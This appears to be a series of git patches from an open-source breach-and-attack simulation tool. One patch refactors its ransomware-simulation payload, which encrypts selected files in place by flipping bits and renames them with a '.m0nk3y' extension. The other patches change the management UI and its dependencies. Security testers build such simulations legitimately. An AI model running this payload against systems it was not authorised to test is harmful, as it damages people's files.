BatchingTelemetryMessenger, -) -from infection_monkey.telemetry.messengers.legacy_telemetry_messenger_adapter import ( - LegacyTelemetryMessengerAdapter, -) from infection_monkey.telemetry.scan_telem import ScanTelem from infection_monkey.telemetry.state_telem import StateTelem from infection_monkey.telemetry.system_info_telem import SystemInfoTelem from infection_monkey.telemetry.trace_telem import TraceTelem from infection_monkey.telemetry.tunnel_telem import TunnelTelem -from infection_monkey.utils.bit_manipulators import flip_bits from infection_monkey.utils.environment import is_windows_os from infection_monkey.utils.exceptions.planned_shutdown_exception import PlannedShutdownException from infection_monkey.utils.monkey_dir import ( @@ -478,24 +466,8 @@ def log_arguments(self): @staticmethod def run_ransomware(): - telemetry_messenger = LegacyTelemetryMessengerAdapter() - batching_telemetry_messenger = BatchingTelemetryMessenger(telemetry_messenger) - - file_encryptor = InPlaceFileEncryptor( - encrypt_bytes=flip_bits, new_file_extension=".m0nk3y", chunk_size=(4096 * 24) - ) - - targeted_file_extensions = TARGETED_FILE_EXTENSIONS.copy() - targeted_file_extensions.discard(ransomware_payload.EXTENSION) - file_selector = ProductionSafeTargetFileSelector(targeted_file_extensions) - try: - RansomwarePayload( - WormConfiguration.ransomware, - file_encryptor, - file_selector, - readme_utils.leave_readme, - batching_telemetry_messenger, - ).run_payload() + ransomware_payload = build_ransomware_payload(WormConfiguration.ransomware) + ransomware_payload.run_payload() except Exception as ex: LOG.error(f"An unexpected error occurred while running the ransomware payload: {ex}") diff --git a/monkey/infection_monkey/ransomware/ransomware_payload_builder.py b/monkey/infection_monkey/ransomware/ransomware_payload_builder.py new file mode 100644 index 00000000000..28770668de6 --- /dev/null +++ b/monkey/infection_monkey/ransomware/ransomware_payload_builder.py @@ -0,0 +1,44 @@ +from infection_monkey.ransomware import readme_utils +from infection_monkey.ransomware.file_selectors import ProductionSafeTargetFileSelector +from infection_monkey.ransomware.in_place_file_encryptor import InPlaceFileEncryptor +from infection_monkey.ransomware.ransomware_payload import RansomwarePayload +from infection_monkey.ransomware.targeted_file_extensions import TARGETED_FILE_EXTENSIONS +from infection_monkey.telemetry.messengers.batching_telemetry_messenger import ( + BatchingTelemetryMessenger, +) +from infection_monkey.telemetry.messengers.legacy_telemetry_messenger_adapter import ( + LegacyTelemetryMessengerAdapter, +) +from infection_monkey.utils.bit_manipulators import flip_bits + +EXTENSION = ".m0nk3y" +CHUNK_SIZE = 4096 * 24 + + +def build_ransomware_payload(config: dict): + file_encryptor = _build_file_encryptor() + file_selector = _build_file_selector() + telemetry_messenger = _build_telemetry_messenger() + + return RansomwarePayload( + config, file_encryptor, file_selector, readme_utils.leave_readme, telemetry_messenger + ) + + +def _build_file_encryptor(): + return InPlaceFileEncryptor( + encrypt_bytes=flip_bits, new_file_extension=EXTENSION, chunk_size=CHUNK_SIZE + ) + + +def _build_file_selector(): + targeted_file_extensions = TARGETED_FILE_EXTENSIONS.copy() + targeted_file_extensions.discard(EXTENSION) + + return ProductionSafeTargetFileSelector(targeted_file_extensions) + + +def _build_telemetry_messenger(): + telemetry_messenger = LegacyTelemetryMessengerAdapter() + + return BatchingTelemetryMessenger(telemetry_messenger) From a78642865221161f3c7456ae6376de5bf6580084 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 14 Jul 2021 12:52:24 -0400 Subject: [PATCH 1140/1360] Island: Pass island mode as a prop from Main.js to child components --- .../cc/ui/src/components/Main.js | 15 ++++++++++++- .../pages/RunMonkeyPage/RunMonkeyPage.js | 2 +- .../pages/RunMonkeyPage/RunOptions.js | 22 +++++-------------- 3 files changed, 20 insertions(+), 19 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/Main.js b/monkey/monkey_island/cc/ui/src/components/Main.js index dc1e063ffd8..c068b9caff9 100644 --- a/monkey/monkey_island/cc/ui/src/components/Main.js +++ b/monkey/monkey_island/cc/ui/src/components/Main.js @@ -27,6 +27,7 @@ import {StandardLayoutComponent} from './layouts/StandardLayoutComponent'; import LoadingScreen from './ui-components/LoadingScreen'; const reportZeroTrustRoute = '/report/zeroTrust'; +const islandModeRoute = '/api/island-mode' class AppComponent extends AuthComponent { updateStatus = () => { @@ -113,15 +114,26 @@ class AppComponent extends AuthComponent { infection_done: false, report_done: false, isLoggedIn: undefined, - needsRegistration: undefined + needsRegistration: undefined, + islandMode: undefined }, noAuthLoginAttempted: undefined }; } + updateIslandMode() { + this.authFetch(islandModeRoute) + .then(res => res.json()) + .then(res => { + this.setState({islandMode: res.mode}) + } + ); + } + componentDidMount() { this.updateStatus(); this.interval = setInterval(this.updateStatus, 10000); + this.updateIslandMode() } componentWillUnmount() { @@ -147,6 +159,7 @@ class AppComponent extends AuthComponent { completedSteps={this.state.completedSteps}/>)} {this.renderRoute('/run-monkey', )} {this.renderRoute('/infection/map', diff --git a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/RunMonkeyPage.js b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/RunMonkeyPage.js index 2a27c5be34a..b87c118f932 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/RunMonkeyPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/RunMonkeyPage.js @@ -17,7 +17,7 @@ class RunMonkeyPageComponent extends AuthComponent { Go ahead and run the monkey! (Or configure the monkey to fine tune its behavior)

    - + ); } diff --git a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/RunOptions.js b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/RunOptions.js index f38c489907a..1cc2aed7bba 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/RunOptions.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/RunOptions.js @@ -11,7 +11,6 @@ import AWSRunButton from './RunOnAWS/AWSRunButton'; import CloudOptions from './scoutsuite-setup/CloudOptions'; const CONFIG_URL = '/api/configuration/island'; -const MODE_URL = '/api/island-mode' function RunOptions(props) { @@ -57,22 +56,11 @@ function RunOptions(props) { return InlineSelection(defaultContents, newProps); } - function getIslandMode() { - let mode = 'advanced'; - authComponent.authFetch(MODE_URL) - .then(res => res.json()) - .then(res => { - mode = res.mode - } - ); - return mode; - } - - function shouldShowScoutsuite(){ - return getIslandMode() === 'advanced'; + function shouldShowScoutsuite(islandMode){ + return islandMode !== 'ransomware'; } - function defaultContents() { + function defaultContents(props) { return ( <> - {shouldShowScoutsuite() && } - {shouldShowScoutsuite() && } + {shouldShowScoutsuite(props.islandMode) && { From 035ce6c8b0905b11851572807ad9b89f2ed829cd Mon Sep 17 00:00:00 2001 From: Shreya Date: Wed, 14 Jul 2021 18:17:55 +0530 Subject: [PATCH 1141/1360] cc: Don't set `selectedSection` to 'attack' in `componentDidMount` in `ConfigurePage.js` Remove a line which seems to do nothing useful. Causes issues if the first tab in the configuration page is not the ATT&CK tab. --- .../monkey_island/cc/ui/src/components/pages/ConfigurePage.js | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js index a5ea6810761..1cdf7d00182 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js @@ -83,8 +83,7 @@ class ConfigurePageComponent extends AuthComponent { schema: monkeyConfig.schema, configuration: monkeyConfig.configuration, attackConfig: attackConfig.configuration, - sections: sections, - selectedSection: 'attack' + sections: sections }) }); }; From 917d7dfb1530ddc01484f914f9237eede9333e50 Mon Sep 17 00:00:00 2001 From: Shreya Date: Wed, 14 Jul 2021 18:22:19 +0530 Subject: [PATCH 1142/1360] cc: Get configuration tabs' order based on Island mode --- .../ui/src/components/pages/ConfigurePage.js | 49 +++++++++++++++++-- 1 file changed, 46 insertions(+), 3 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js index 1cdf7d00182..00deb8e6040 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js @@ -23,15 +23,23 @@ const ATTACK_URL = '/api/attack'; const CONFIG_URL = '/api/configuration/island'; export const API_PBA_LINUX = '/api/fileUpload/PBAlinux'; export const API_PBA_WINDOWS = '/api/fileUpload/PBAwindows'; +const CONFIGURATION_TABS = { + ATTACK: 'attack', + BASIC: 'basic', + BASIC_NETWORK: 'basic_network', + RANSOMWARE: 'ransomware', + MONKEY: 'monkey', + INTERNAL: 'internal' +}; class ConfigurePageComponent extends AuthComponent { constructor(props) { super(props); - this.currentSection = 'attack'; this.initialConfig = {}; this.initialAttackConfig = {}; - this.sectionsOrder = ['attack', 'basic', 'basic_network', 'ransomware', 'monkey', 'internal']; + this.sectionsOrder = this.getSectionsOrder(); + this.currentSection = this.sectionsOrder[0]; this.state = { attackConfig: {}, @@ -41,7 +49,7 @@ class ConfigurePageComponent extends AuthComponent { lastAction: 'none', schema: {}, sections: [], - selectedSection: 'attack', + selectedSection: this.currentSection, showAttackAlert: false, showUnsafeOptionsConfirmation: false, showUnsafeAttackOptionsWarning: false, @@ -50,6 +58,41 @@ class ConfigurePageComponent extends AuthComponent { }; } + getSectionsOrder() { // TODO: Fetch mode from API endpoint + // let mode = ""; + // this.authFetch('/api/mode') + // .then(res => res.json()) + // .then(res => { + // mode = res.mode + // } + // ); + + let advancedModeConfigTabs = [ + CONFIGURATION_TABS.ATTACK, + CONFIGURATION_TABS.BASIC, + CONFIGURATION_TABS.BASIC_NETWORK, + CONFIGURATION_TABS.RANSOMWARE, + CONFIGURATION_TABS.MONKEY, + CONFIGURATION_TABS.INTERNAL + ] + + let ransomwareModeConfigTabs = [ + CONFIGURATION_TABS.BASIC, + CONFIGURATION_TABS.BASIC_NETWORK, + CONFIGURATION_TABS.RANSOMWARE + ] + + let mode = 'ransomware'; + // let mode = ''; + + if (mode === 'ransomware') { + return ransomwareModeConfigTabs; + } + else { + return advancedModeConfigTabs; + } + } + setInitialConfig(config) { // Sets a reference to know if config was changed this.initialConfig = JSON.parse(JSON.stringify(config)); From 6e3053cfc0e84b45373f6f46d6049663a3ce66a3 Mon Sep 17 00:00:00 2001 From: Shreya Date: Wed, 14 Jul 2021 18:24:04 +0530 Subject: [PATCH 1143/1360] cc: Don't try rendering any monkey config tab if length of `this.state.configuration` is 0 The config is fetched in `componentDidMount()` (which is called after `render()` finishes successfully). If you attempt to render the configuration (i.e. call `renderConfigContent()`) before the config is fetched, it throws an error. --- .../monkey_island/cc/ui/src/components/pages/ConfigurePage.js | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js index 00deb8e6040..594b0ad0807 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js @@ -105,6 +105,7 @@ class ConfigurePageComponent extends AuthComponent { componentDidMount = () => { let urls = [CONFIG_URL, ATTACK_URL]; + // ??? Why fetch config here and not in `render()`? Promise.all(urls.map(url => this.authFetch(url).then(res => res.json()))) .then(data => { let sections = []; @@ -521,7 +522,7 @@ class ConfigurePageComponent extends AuthComponent { let content = ''; if (this.state.selectedSection === 'attack' && Object.entries(this.state.attackConfig).length !== 0) { content = this.renderMatrix() - } else if (this.state.selectedSection !== 'attack') { + } else if (this.state.selectedSection !== 'attack' && Object.entries(this.state.configuration).length !== 0) { content = this.renderConfigContent(displayedSchema) } return ( From 7170efbf0dc300636571aba84e83c422dd0458f1 Mon Sep 17 00:00:00 2001 From: Shreya Date: Wed, 14 Jul 2021 18:42:26 +0530 Subject: [PATCH 1144/1360] cc: Extract configuration tabs' order to a separate file and modify how the order is fetched --- .../ConfigurationTabs.js | 30 ++++++++++++++++ .../ui/src/components/pages/ConfigurePage.js | 36 +++---------------- 2 files changed, 34 insertions(+), 32 deletions(-) create mode 100644 monkey/monkey_island/cc/ui/src/components/configuration-components/ConfigurationTabs.js diff --git a/monkey/monkey_island/cc/ui/src/components/configuration-components/ConfigurationTabs.js b/monkey/monkey_island/cc/ui/src/components/configuration-components/ConfigurationTabs.js new file mode 100644 index 00000000000..7701959cf79 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/configuration-components/ConfigurationTabs.js @@ -0,0 +1,30 @@ +const CONFIGURATION_TABS = { + ATTACK: 'attack', + BASIC: 'basic', + BASIC_NETWORK: 'basic_network', + RANSOMWARE: 'ransomware', + MONKEY: 'monkey', + INTERNAL: 'internal' +}; + +const advancedModeConfigTabs = [ + CONFIGURATION_TABS.ATTACK, + CONFIGURATION_TABS.BASIC, + CONFIGURATION_TABS.BASIC_NETWORK, + CONFIGURATION_TABS.RANSOMWARE, + CONFIGURATION_TABS.MONKEY, + CONFIGURATION_TABS.INTERNAL +]; + +const ransomwareModeConfigTabs = [ + CONFIGURATION_TABS.BASIC, + CONFIGURATION_TABS.BASIC_NETWORK, + CONFIGURATION_TABS.RANSOMWARE +]; + +const CONFIGURATION_TABS_PER_MODE = { + 'advanced': advancedModeConfigTabs, + 'ransomware': ransomwareModeConfigTabs +}; + +export default CONFIGURATION_TABS_PER_MODE; diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js index 594b0ad0807..26141b22c8d 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js @@ -18,19 +18,12 @@ import ConfigExportModal from '../configuration-components/ExportConfigModal'; import ConfigImportModal from '../configuration-components/ImportConfigModal'; import applyUiSchemaManipulators from '../configuration-components/UISchemaManipulators.tsx'; import HtmlFieldDescription from '../configuration-components/HtmlFieldDescription.js'; +import CONFIGURATION_TABS_PER_MODE from '../configuration-components/ConfigurationTabs.js'; const ATTACK_URL = '/api/attack'; const CONFIG_URL = '/api/configuration/island'; export const API_PBA_LINUX = '/api/fileUpload/PBAlinux'; export const API_PBA_WINDOWS = '/api/fileUpload/PBAwindows'; -const CONFIGURATION_TABS = { - ATTACK: 'attack', - BASIC: 'basic', - BASIC_NETWORK: 'basic_network', - RANSOMWARE: 'ransomware', - MONKEY: 'monkey', - INTERNAL: 'internal' -}; class ConfigurePageComponent extends AuthComponent { @@ -67,30 +60,9 @@ class ConfigurePageComponent extends AuthComponent { // } // ); - let advancedModeConfigTabs = [ - CONFIGURATION_TABS.ATTACK, - CONFIGURATION_TABS.BASIC, - CONFIGURATION_TABS.BASIC_NETWORK, - CONFIGURATION_TABS.RANSOMWARE, - CONFIGURATION_TABS.MONKEY, - CONFIGURATION_TABS.INTERNAL - ] - - let ransomwareModeConfigTabs = [ - CONFIGURATION_TABS.BASIC, - CONFIGURATION_TABS.BASIC_NETWORK, - CONFIGURATION_TABS.RANSOMWARE - ] - - let mode = 'ransomware'; - // let mode = ''; - - if (mode === 'ransomware') { - return ransomwareModeConfigTabs; - } - else { - return advancedModeConfigTabs; - } + // let mode = 'ransomware'; + let mode = 'advanced'; + return CONFIGURATION_TABS_PER_MODE[mode]; } setInitialConfig(config) { From c0514e13593651e3ffb05f2bb7b4b2429b89ce24 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 14 Jul 2021 14:26:14 -0400 Subject: [PATCH 1145/1360] Island: Pass island mode as a prop to ConfigurePageComponent --- .../cc/ui/src/components/Main.js | 1 + .../ui/src/components/pages/ConfigurePage.js | 20 +++++-------------- 2 files changed, 6 insertions(+), 15 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/Main.js b/monkey/monkey_island/cc/ui/src/components/Main.js index c068b9caff9..7a7851af8da 100644 --- a/monkey/monkey_island/cc/ui/src/components/Main.js +++ b/monkey/monkey_island/cc/ui/src/components/Main.js @@ -155,6 +155,7 @@ class AppComponent extends AuthComponent { true)} {this.renderRoute('/configure', )} {this.renderRoute('/run-monkey', diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js index 26141b22c8d..4f1df6babae 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js @@ -31,8 +31,7 @@ class ConfigurePageComponent extends AuthComponent { super(props); this.initialConfig = {}; this.initialAttackConfig = {}; - this.sectionsOrder = this.getSectionsOrder(); - this.currentSection = this.sectionsOrder[0]; + this.currentSection = this.getSectionsOrder()[0]; this.state = { attackConfig: {}, @@ -51,18 +50,9 @@ class ConfigurePageComponent extends AuthComponent { }; } - getSectionsOrder() { // TODO: Fetch mode from API endpoint - // let mode = ""; - // this.authFetch('/api/mode') - // .then(res => res.json()) - // .then(res => { - // mode = res.mode - // } - // ); - - // let mode = 'ransomware'; - let mode = 'advanced'; - return CONFIGURATION_TABS_PER_MODE[mode]; + getSectionsOrder() { + let islandMode = this.props.islandMode ? this.props.islandMode : 'advanced' + return CONFIGURATION_TABS_PER_MODE[islandMode]; } setInitialConfig(config) { @@ -85,7 +75,7 @@ class ConfigurePageComponent extends AuthComponent { let monkeyConfig = data[0]; this.setInitialConfig(monkeyConfig.configuration); this.setInitialAttackConfig(attackConfig.configuration); - for (let sectionKey of this.sectionsOrder) { + for (let sectionKey of this.getSectionsOrder()) { if (sectionKey === 'attack') { sections.push({key: sectionKey, title: 'ATT&CK'}) } else { From 6acd9061a3d0348651d064e651a642f703ba89c1 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 14 Jul 2021 14:27:17 -0400 Subject: [PATCH 1146/1360] Island: Set correct default config tab on refresh --- .../cc/ui/src/components/pages/ConfigurePage.js | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js index 4f1df6babae..c7c84e327d9 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js @@ -50,6 +50,13 @@ class ConfigurePageComponent extends AuthComponent { }; } + componentDidUpdate() { + if (!this.getSectionsOrder().includes(this.currentSection)) { + this.currentSection = this.getSectionsOrder()[0] + this.setState({selectedSection: this.currentSection}) + } + } + getSectionsOrder() { let islandMode = this.props.islandMode ? this.props.islandMode : 'advanced' return CONFIGURATION_TABS_PER_MODE[islandMode]; From 7ae46339e0e43ea1162ca5d92416af37e9d1d9f9 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 14 Jul 2021 14:55:16 -0400 Subject: [PATCH 1147/1360] UI: Show ransomware encrypted file count only in red or black --- .../report-components/ransomware/FileEncryptionTable.tsx | 6 +----- 1 file changed, 1 insertion(+), 5 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/ransomware/FileEncryptionTable.tsx b/monkey/monkey_island/cc/ui/src/components/report-components/ransomware/FileEncryptionTable.tsx index cfb9ab3f337..340238891ea 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/ransomware/FileEncryptionTable.tsx +++ b/monkey/monkey_island/cc/ui/src/components/report-components/ransomware/FileEncryptionTable.tsx @@ -54,13 +54,9 @@ function renderFileEncryptionStats(successful: number, total: number) { let textClassName = '' if(successful > 0) { - if (successful === total) { textClassName = 'text-danger' - } else { - textClassName = 'text-warning' - } } else { - textClassName = 'text-success' + textClassName = 'text-dark' } return (

    {successful} out of {total}

    ); From f804d6cf5b6f743b47bab936987c1676d9937c08 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 14 Jul 2021 14:55:48 -0400 Subject: [PATCH 1148/1360] UI: Left-align report table headers since contents are left-aligned --- .../cc/ui/src/styles/pages/report/AttackReport.scss | 4 ++++ .../cc/ui/src/styles/pages/report/ReportPage.scss | 4 ++++ 2 files changed, 8 insertions(+) diff --git a/monkey/monkey_island/cc/ui/src/styles/pages/report/AttackReport.scss b/monkey/monkey_island/cc/ui/src/styles/pages/report/AttackReport.scss index f459f270718..7423efeae78 100644 --- a/monkey/monkey_island/cc/ui/src/styles/pages/report/AttackReport.scss +++ b/monkey/monkey_island/cc/ui/src/styles/pages/report/AttackReport.scss @@ -39,6 +39,10 @@ color: $monkey-yellow; } +.attack-report .ReactTable .rt-resizable-header-content { + text-align: center; +} + .attack-link{ padding: 0 7px 3px 7px !important; } diff --git a/monkey/monkey_island/cc/ui/src/styles/pages/report/ReportPage.scss b/monkey/monkey_island/cc/ui/src/styles/pages/report/ReportPage.scss index 520e04e1d56..90a635c2a01 100644 --- a/monkey/monkey_island/cc/ui/src/styles/pages/report/ReportPage.scss +++ b/monkey/monkey_island/cc/ui/src/styles/pages/report/ReportPage.scss @@ -98,3 +98,7 @@ span.cross-segment-service { .zero-logon-overview-pass-restore-failed svg { margin: 0 10px 0 0; } + +.rt-resizable-header { + text-align: left; +} From 93b90dbadf340a22c01a6ee55576be3fc1c3cd65 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 14 Jul 2021 12:43:28 +0300 Subject: [PATCH 1149/1360] Island: refactor Main.js and SideNavComponent.js into typescript and add the ability to disable side navigation --- monkey/monkey_island/cc/ui/package-lock.json | 929 +++++++++++++----- monkey/monkey_island/cc/ui/package.json | 1 + .../ui/src/components/{Main.js => Main.tsx} | 95 +- ...deNavComponent.js => SideNavComponent.tsx} | 51 +- .../layouts/StandardLayoutComponent.js | 2 +- .../components/side-menu/CompletedSteps.tsx | 22 + monkey/monkey_island/cc/ui/tsconfig.json | 1 + 7 files changed, 823 insertions(+), 278 deletions(-) rename monkey/monkey_island/cc/ui/src/components/{Main.js => Main.tsx} (81%) rename monkey/monkey_island/cc/ui/src/components/{SideNavComponent.js => SideNavComponent.tsx} (69%) create mode 100644 monkey/monkey_island/cc/ui/src/components/side-menu/CompletedSteps.tsx diff --git a/monkey/monkey_island/cc/ui/package-lock.json b/monkey/monkey_island/cc/ui/package-lock.json index 21234ecf3d0..8e98d3d68d4 100644 --- a/monkey/monkey_island/cc/ui/package-lock.json +++ b/monkey/monkey_island/cc/ui/package-lock.json @@ -2797,6 +2797,7 @@ "version": "26.6.2", "resolved": "https://registry.npmjs.org/@jest/types/-/types-26.6.2.tgz", "integrity": "sha512-fC6QCp7Sc5sX6g8Tvbmj4XUTbyrik0akgRy03yjXbQaBWWNWGE7SGtJk98m0N8nzegD/7SggrUlivxo5ax4KWQ==", + "dev": true, "requires": { "@types/istanbul-lib-coverage": "^2.0.0", "@types/istanbul-reports": "^3.0.0", @@ -2809,6 +2810,7 @@ "version": "4.3.0", "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dev": true, "requires": { "color-convert": "^2.0.1" } @@ -2817,6 +2819,7 @@ "version": "4.1.0", "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.0.tgz", "integrity": "sha512-qwx12AxXe2Q5xQ43Ac//I6v5aXTipYrSESdOgzrN+9XjgEpyjpKuvSGaN4qE93f7TQTlerQQ8S+EQ0EyDoVL1A==", + "dev": true, "requires": { "ansi-styles": "^4.1.0", "supports-color": "^7.1.0" @@ -2826,6 +2829,7 @@ "version": "2.0.1", "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dev": true, "requires": { "color-name": "~1.1.4" } @@ -2833,17 +2837,20 @@ "color-name": { "version": "1.1.4", "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", - "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==" + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "dev": true }, "has-flag": { "version": "4.0.0", "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", - "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==" + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "dev": true }, "supports-color": { "version": "7.2.0", "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "dev": true, "requires": { "has-flag": "^4.0.0" } @@ -3795,6 +3802,11 @@ "resolved": "https://registry.npmjs.org/@types/hammerjs/-/hammerjs-2.0.36.tgz", "integrity": "sha512-7TUK/k2/QGpEAv/BCwSHlYu3NXZhQ9ZwBYpzr9tjlPIL2C5BeGhH3DmVavRx3ZNyELX5TLC91JTz/cen6AAtIQ==" }, + "@types/history": { + "version": "4.7.9", + "resolved": "https://registry.npmjs.org/@types/history/-/history-4.7.9.tgz", + "integrity": "sha512-MUc6zSmU3tEVnkQ78q0peeEjKWPUADMlC/t++2bI8WnAG2tvYRPIgHG8lWkXwqc8MsUF6Z2MOf+Mh5sazOmhiQ==" + }, "@types/http-cache-semantics": { "version": "4.0.0", "resolved": "https://registry.npmjs.org/@types/http-cache-semantics/-/http-cache-semantics-4.0.0.tgz", @@ -3809,12 +3821,14 @@ "@types/istanbul-lib-coverage": { "version": "2.0.3", "resolved": "https://registry.npmjs.org/@types/istanbul-lib-coverage/-/istanbul-lib-coverage-2.0.3.tgz", - "integrity": "sha512-sz7iLqvVUg1gIedBOvlkxPlc8/uVzyS5OwGz1cKjXzkl3FpL3al0crU8YGU1WoHkxn0Wxbw5tyi6hvzJKNzFsw==" + "integrity": "sha512-sz7iLqvVUg1gIedBOvlkxPlc8/uVzyS5OwGz1cKjXzkl3FpL3al0crU8YGU1WoHkxn0Wxbw5tyi6hvzJKNzFsw==", + "dev": true }, "@types/istanbul-lib-report": { "version": "3.0.0", "resolved": "https://registry.npmjs.org/@types/istanbul-lib-report/-/istanbul-lib-report-3.0.0.tgz", "integrity": "sha512-plGgXAPfVKFoYfa9NpYDAkseG+g6Jr294RqeqcqDixSbU34MZVJRi/P+7Y8GDpzkEwLaGZZOpKIEmeVZNtKsrg==", + "dev": true, "requires": { "@types/istanbul-lib-coverage": "*" } @@ -3823,6 +3837,7 @@ "version": "3.0.0", "resolved": "https://registry.npmjs.org/@types/istanbul-reports/-/istanbul-reports-3.0.0.tgz", "integrity": "sha512-nwKNbvnwJ2/mndE9ItP/zc2TCzw6uuodnF4EHYWD+gCQDVBuRQL5UzbZD0/ezy1iKsFU2ZQiDqg4M9dN4+wZgA==", + "dev": true, "requires": { "@types/istanbul-lib-report": "*" } @@ -3831,6 +3846,7 @@ "version": "26.0.22", "resolved": "https://registry.npmjs.org/@types/jest/-/jest-26.0.22.tgz", "integrity": "sha512-eeWwWjlqxvBxc4oQdkueW5OF/gtfSceKk4OnOAGlUSwS/liBRtZppbJuz1YkgbrbfGOoeBHun9fOvXnjNwrSOw==", + "dev": true, "requires": { "jest-diff": "^26.0.0", "pretty-format": "^26.0.0" @@ -3922,7 +3938,8 @@ "@types/node": { "version": "14.14.37", "resolved": "https://registry.npmjs.org/@types/node/-/node-14.14.37.tgz", - "integrity": "sha512-XYmBiy+ohOR4Lh5jE379fV2IU+6Jn4g5qASinhitfyO71b/sCo6MKsMLF5tc7Zf2CE8hViVQyYSobJNke8OvUw==" + "integrity": "sha512-XYmBiy+ohOR4Lh5jE379fV2IU+6Jn4g5qASinhitfyO71b/sCo6MKsMLF5tc7Zf2CE8hViVQyYSobJNke8OvUw==", + "dev": true }, "@types/normalize-package-data": { "version": "2.4.0", @@ -3961,10 +3978,30 @@ "version": "16.9.12", "resolved": "https://registry.npmjs.org/@types/react-dom/-/react-dom-16.9.12.tgz", "integrity": "sha512-i7NPZZpPte3jtVOoW+eLB7G/jsX5OM6GqQnH+lC0nq0rqwlK0x8WcMEvYDgFWqWhWMlTltTimzdMax6wYfZssA==", + "dev": true, "requires": { "@types/react": "^16" } }, + "@types/react-router": { + "version": "5.1.16", + "resolved": "https://registry.npmjs.org/@types/react-router/-/react-router-5.1.16.tgz", + "integrity": "sha512-8d7nR/fNSqlTFGHti0R3F9WwIertOaaA1UEB8/jr5l5mDMOs4CidEgvvYMw4ivqrBK+vtVLxyTj2P+Pr/dtgzg==", + "requires": { + "@types/history": "*", + "@types/react": "*" + } + }, + "@types/react-router-dom": { + "version": "5.1.8", + "resolved": "https://registry.npmjs.org/@types/react-router-dom/-/react-router-dom-5.1.8.tgz", + "integrity": "sha512-03xHyncBzG0PmDmf8pf3rehtjY0NpUj7TIN46FrT5n1ZWHPZvXz32gUyNboJ+xsL8cpg8bQVLcllptcQHvocrw==", + "requires": { + "@types/history": "*", + "@types/react": "*", + 